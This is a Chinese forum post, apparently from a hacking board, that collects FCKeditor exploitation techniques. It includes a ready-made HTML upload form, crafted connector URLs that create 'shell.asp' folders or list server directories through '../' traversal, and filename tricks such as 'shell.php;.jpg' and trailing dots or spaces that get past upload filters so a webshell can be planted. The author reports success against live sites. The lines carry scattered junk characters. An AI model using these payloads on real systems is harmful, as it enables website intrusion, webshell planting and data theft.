找回密码
 立即注册
查看: 3163|回复: 0
打印 上一主题 下一主题

Fckeditor漏洞 (2)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:01:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结  
( g3 P+ I) v% L2 I0 W. x/ R查看编辑器版本- t, _5 L. Y) Y
FCKeditor/_whatsnew.html2 r7 Q7 t4 ?  z+ E
—————————————————————————————————————————————————————————————9 l# G: ]% d& |) u% u* z$ M0 C& P

- ]0 Y8 [* N/ G1 d3 }, L, q4 h2. Version 2.2 版本
1 U5 h8 ]' l: T, u1 g, CApache+linux 环境下在上传文件后面加个.突破!测试通过。1 V$ n7 v, A0 p9 A( E  p# `
—————————————————————————————————————————————————————————————: _9 x4 F+ b; T) N
) S' [6 ?5 v. k- k7 Y
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
) L9 B. ^, H1 V" ?<form id="frmUpload" enctype="multipart/form-data"  O( V) P" P. V' C2 R; U
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
! z- I5 h5 X; U8 l7 K: `<input type="file" name="NewFile" size="50"><br>' T( E) o6 Z* _6 W  L
<input id="btnUpload" type="submit" value="Upload">7 w- C- x7 ~2 U% z/ i" R6 F( W
</form>
' j- ~( n$ H! S—————————————————————————————————————————————————————————————
" |! [! K& L) I4 x2 H; j7 @
/ S! x/ `% Z0 x* ], t4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
/ i% n) U; ]  j; s2 v3 m0 ^3 }        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。: y0 t4 m, M% u3 \0 @
    4.1:提交shell.php+空格绕过( i  O& X& ~6 ?' p! v% A
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。4 \) ^. u& C- E1 g2 b0 I
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。) B. d4 c* u( i7 }
—————————————————————————————————————————————————————————————
# m* r; U) y2 M6 f& [% a1 o' ~) ?, r6 W
5. 突破建立文件夹/ }) N" h7 J# G2 R
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
  `1 n% {/ Y* D) |FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp8 a0 b) Q) y/ C! U6 [
—————————————————————————————————————————————————————————————
) W; O5 x( T7 H( q1 V, G) y" k/ n6 z& y$ y
6. FCKeditor 中test 文件的上传地址6 k* Z8 R0 c5 A- N
FCKeditor/editor/filemanager/browser/default/connectors/test.html
; o# ~7 ?; C# H& p; NFCKeditor/editor/filemanager/upload/test.html
+ J# i, h% j! P( Z" D! UFCKeditor/editor/filemanager/connectors/test.html9 _6 _5 _/ U$ W5 I) n& y
FCKeditor/editor/filemanager/connectors/uploadtest.html+ ]/ P7 T# j4 {# {7 h8 b
—————————————————————————————————————————————————————————————) l% M8 A5 \1 g: p% V; Z

; m) o0 {7 g! g# s  ^- R7.常用上传地址0 m' Y/ [( H. s* q9 I2 v
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=// h- R- |- j: z
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
3 O0 \& D. ^) I0 P) P/ gFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)( x, ]& q! P! J% i# V1 e" B
JSP 版:) {9 J9 @+ w' o# A( W- ?
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
& m$ H  v7 g7 i- [, q! ~. F0 j& @6 g注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
" }8 O0 c3 A. [' X6 I件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
1 D& x: _2 V- D- L- `$ c: u( L—————————————————————————————————————————————————————————————
+ M6 u3 D& F; O# _' ?& A  R/ Y1 V  w4 x9 m6 _8 y3 y5 h, P* o! T
8.其他上传地址
8 o7 d  i3 H: f, {8 U3 ?5 vFCKeditor/_samples/default.html
: G+ J$ C8 I' y/ j5 k5 f% ]FCKeditor/_samples/asp/sample01.asp
; @; l, b. k* }" fFCKeditor/_samples/asp/sample02.asp
" N3 Q5 x) s" c' TFCKeditor/_samples/asp/sample03.asp
  P- b! T7 O  M" \FCKeditor/_samples/asp/sample04.asp
# w/ }9 C5 ?9 T一般很多站点都已删除_samples 目录,可以试试。7 g# ^9 U9 U; o) R
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。* ^6 y, e& m* v' n5 d
—————————————————————————————————————————————————————————————7 P4 }1 v: Z5 n/ `( p# a+ Q' D2 a
4 r) C; o) O4 L" k$ D$ H) U
9.列目录漏洞也可助找上传地址* \8 v/ n8 d- P6 j
Version 2.4.1 测试通过9 X8 `# V! m' I. N% |
修改CurrentFolder 参数使用 ../../来进入不同的目录
, l0 B- h( |, I7 A( q; v) C; ?/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp7 g8 m& X9 u" K8 ~1 i) i/ t
根据返回的XML 信息可以查看网站所有的目录。
" m: n3 d: p% S! D: V( e; ^; `FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
$ T8 B+ V3 c. _' |  P' \$ o! Z( m3 f也可以直接浏览盘符:
6 y. d) d+ w" \( }  p! QJSP 版本:
* y# |! W+ {9 F  J/ wFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
, B. M- ?, P3 V4 t$ m: b—————————————————————————————————————————————————————————————% }: m( W0 V1 K

1 T  l; }: A1 f$ r1 g10.爆路径漏洞
# k/ f) L8 |, z( TFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp4 M8 {9 }; O5 O* [- W/ F
—————————————————————————————————————————————————————————————
: V1 u( S& V5 L" ~- Y  t$ l& n- t
: d9 a8 @& L% K2 g$ J/ w11. FCKeditor 被动限制策略所导致的过滤不严问题4 S" o8 p3 P# M: c2 D
        影响版本: FCKeditor x.x <= FCKeditor v2.4.3
. x% ]" Z$ a3 z; A4 X9 M脆弱描述:
5 D% x& u( \% }5 d. FFCKeditor v2.4.3 中File 类别默认拒绝上传类型:! o- R/ ^+ }0 x$ I
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm% k1 j% r6 Y1 w+ A/ i0 K
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!/ {3 e2 o' h. T  a' w5 H& a
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
5 K2 V6 r" X9 k/ I# F8 Z% J        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!$ M. C; J  p5 u
—————————————————————————————————————————————————————————————. @1 @. s. H- L, v
) |3 O; q9 N' {. ~
12.最古老的漏洞,Type文件没有限制!3 I" j) i: p/ o
        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 9 l2 ]- \1 L, l! Z$ y3 M
—————————————————————————————————————————————————————————————0 O$ D4 b3 f7 V5 w  B
1 ]; ~: h/ q* d2 W* F
===============================================================================================================================================4 W) A& G4 i* i; g  i( y
, g/ U2 ^: [/ H
FCK编辑器jsp版本漏洞:
2 w" {; y/ q; f6 c+ R  K, J) H# h. d6 T5 y2 j$ ]: j
) f; f& O4 `% \3 j7 R! d
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
+ V2 ^# Q: f5 b: b, T/ L" @4 i2 f% M& v% r$ Y, o
上传马所在目录1 M' r% u/ U( R% @- @; U5 N
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
5 Y, A9 b; F; E2 Z# a6 ^上传shell的地址:. R& j% p/ y# v
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector! T8 u/ T& s5 ?. H" d0 |% p
跟版本有关系.并不是百分百成功. 测试成功几个站.
4 c+ E; t, ~3 q. r1 h不能通杀.很遗憾.$ ?" Y2 w; f- F. S2 h* i& S
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector+ ~2 M: i& s' |+ L5 R8 N
如果以上地址不行可以试试8 |! A$ _! ]/ I7 _7 L$ m/ n3 p
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
( b$ ^# {/ Y6 S# MFCKeditor/_samples/4 c; V3 `! F8 i% A2 E4 o6 O
FCKeditor/_samples/default.html
/ ~0 G  e/ t5 e' x6 Y/ c9 l1 DFCKeditor/editor/fckeditor.htm
+ ~- m% F  D5 n. o' nFCKeditor/editor/fckdialog.html, j/ ^" ]1 M& c

2 C) x% N0 S; ~- `2 L
2 _1 i) `0 k/ T/ {- R1 A: d: N( S% j, H% f' p
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg9 o/ B& b9 k/ B9 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表